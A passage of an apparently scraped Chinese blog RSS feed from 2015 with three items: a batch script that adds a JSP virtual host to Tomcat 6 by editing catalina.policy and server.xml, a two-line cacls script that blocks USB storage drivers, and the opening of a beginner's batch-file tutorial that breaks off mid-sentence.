  <title><![CDATA[偶自己用的添加JSP主机批处理]]></title>
  <description><![CDATA[<span style="font-size: 13px;">@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/p var=&nbsp;&nbsp; 请输入jsp主机ftp用户名 :&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set/p abc=&nbsp;&nbsp; 请输入jsp主机的域名 :www.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp;&nbsp;&nbsp; 你输入的用户名是:%var%&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;&nbsp;&nbsp;&nbsp; 你需要绑定的域名是:</span><font color="#0070af" style="font-size: 13px;">www.%abc%</font><span style="font-size: 13px;">&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;pause&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cd C:Tomcat6conf&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;copy catalina.policy catalina.policy.bak&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo. &gt;&gt;catalina.policy&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo grant codeBase &quot;file:D:/webroot/%var%/-&quot; { &gt;&gt;catalina.policy&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem @echo&nbsp;&nbsp; permission java.security.AllPermission;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp; permission java.io.FilePermission &quot;d:&#92;webroot&#92;%var%&#92;&quot;, &quot;read&quot;; &gt;&gt;catalina.policy&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp; permission java.io.FilePermission &quot;d:&#92;webroot&#92;%var%&#92;-&quot;, &quot;read, write, delete&quot;; &gt;&gt;catalina.policy&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo }; &gt;&gt;catalina.policy&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;copy server.xml server.xml.bak&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@find /v &quot;&lt;/Service&gt;&quot; &lt;server.xml &gt;1.txt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@find /v &quot;&lt;/Server&gt;&quot; &lt;1.txt &gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@find /v &quot;&lt;/Engine&gt;&quot; &lt;server.xml &gt;1.txt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;del server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;ren 1.txt server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo ^&lt;Host name=&quot;www.%abc%&quot; appBase=&quot;D:/webroot/%var%/&quot; unpackWARs=&quot;true&quot; autoDeploy=&quot;true&quot; xmlValidation=&quot;false&quot; xmlNamespaceAware=&quot;false&quot; ^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp;&nbsp;&nbsp; ^&lt;Alias^&gt;%var%.hzsd08.beitesoft.com^&lt;/Alias^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp;&nbsp;&nbsp; ^&lt;Alias^&gt;%abc%^&lt;/Alias^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp; ^&lt;Context crossContext=&quot;true&quot; docBase=&quot;web&quot; path=&quot;&quot; reloadable=&quot;true&quot; /^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo ^&lt;/Host^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo. &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp;&nbsp;&nbsp; ^&lt;/Engine^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;&nbsp; ^&lt;/Service^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo ^&lt;/Server^&gt; &gt;&gt;server.xml&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@sc stop tomcat6&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@sc start tomcat6&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo on&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 还需要在IIS里面操作:&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 添加jsp映射到C:Tomcat6confisapi_redirect.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 添加名为jakarta的ISAPI筛选器至C:Tomcat6confisapi_redirect.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo 添加名称为jakarta路径为C:Tomcat6conf的虚拟目录&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@pause&gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=768]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:03:25 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[用批处理禁用USBU盘和移动硬盘]]></title>
  <description><![CDATA[<span style="font-size: 13px;">cacls %windir%system32driversusbstor.sys /e /c /d everyone&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cacls %windir%system32driversdisk.sys /e /c /d everyone &nbsp;</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=767]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 10:02:52 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[批处理学习完全教程]]></title>
  <description><![CDATA[<span style="font-size: 13px;">批处理文件，在MS-dos中，.bat文件是可执行文件，有一系列命令构成，其中可以包含对其他程序的调用。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好像我们在DOS提示符下执行的命令行一样），你可以使用dos下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的dos命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的 dos搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:batch，你就可以在任意位置运行所有你编写的批处理程序。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　第四，在dos和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@ECHO OFF&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:dosTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　LH SMARTDRV.EXE /X&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　LH dosKEY.COM /INSERT&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　LH CTMOUSE.EXE&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　SET TEMP=D:TEMP&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　SET TMP=D:TEMP&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　批处理的作用&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　简单的说，批处理的作用就是自动的连续执行多条命令。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（&gt;前面内容表示dos提示符）：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:&gt;cd wps&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:WPS&gt;spdos&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:WPS&gt;py&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:WPS&gt;wbx&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　C:WPS&gt;wps&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　c:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　cdwps&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　spdos&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　py&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　wbx&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　wps&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　cd&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　常用命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo 表示显示此命令后的字符&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo off 表示在此语句后所有运行的命令都不显示命令行本身&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　pause 运行此句会暂停批处理的执行并在屏幕上显示“Press any key to continue...”或“请按任意键继续。。。”的提示，等待用户按任意键后继续。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　例1：用edit编辑a.bat文件，输入下列内容后存盘为c:a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCdos，进入WPS等功能。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　批处理文件的内容为: 命令注释：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off　不显示后续命令行及当前命令行&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　dir c:*.* &gt;a.txt　将c盘文件列表写入a.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　call c:ucdosucdos.bat　调用ucdos&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo 你好 显示&quot;你好&quot;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　pause 暂停,等待按键继续&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　rem 准备运行wps 注释：准备运行wps&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　cd ucdos　进入ucdos目录&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　wps 运行wps&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　批处理文件的参数&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　批处理文件还可以像C语言的函数一样使用参数（相当于dos命令的命令行参数），这需要用到一个参数表示符“%”。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%&#091;1-9&#093;表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　例2：C:根目录下有一批处理文件名为f.bat，内容为：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　format %1&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果执行C:&gt;f a:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　例3：C:根目录下一批处理文件名为t.bat，内容为:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　@echo off&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　type %1&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　type %2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　那么运行C:&gt;t a.txt b.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%1 : 表示a.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　%2 : 表示b.txt&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　于是上面的命令将顺序地显示a.txt和b.txt文件的内容。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　特殊命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　1、if &#091;not&#093; &quot;参数&quot; == &quot;字符串&quot; 待执行的命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　例：if &quot;%1&quot;==&quot;a&quot; format a:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　2、if &#091;not&#093; exist &#091;路径&#093;文件名 待执行的命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如果有指定的文件，则条件成立，运行命令，否则运行下一句。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如: if exist c:config.sys type c:config.sys&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　表示如果存在c:config.sys文件，则显示它的内容。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　3、if errorlevel &lt;数字&gt; 待执行的命令&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　很多dos程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如if errorlevel 2 goto x2&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　如:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　goto end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　:end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　echo this is the end&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　标号用“:字符串”来定义，标号所在行不被执行。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　注意：choice命令为dos或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　CHOICE &#091;/C choices&#093; &#091;/N&#093; &#091;/CS&#093; &#091;/T timeout /D choice&#093; &#091;/M text&#093;&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　描述:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　该工具允许用户从选择列表选择一个项目并返回所选项目的索引。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　参数列表:&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/C　choices　指定要创建的选项列表。默认列表是 &quot;YN&quot;。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/N　在提示符中隐藏选项列表。提示前面的消息得到显示项依旧处于启用状态。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/CS　允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/T　timeout　做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　会得到选择。&nbsp;&nbsp;&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp; 　　/D　choice　在 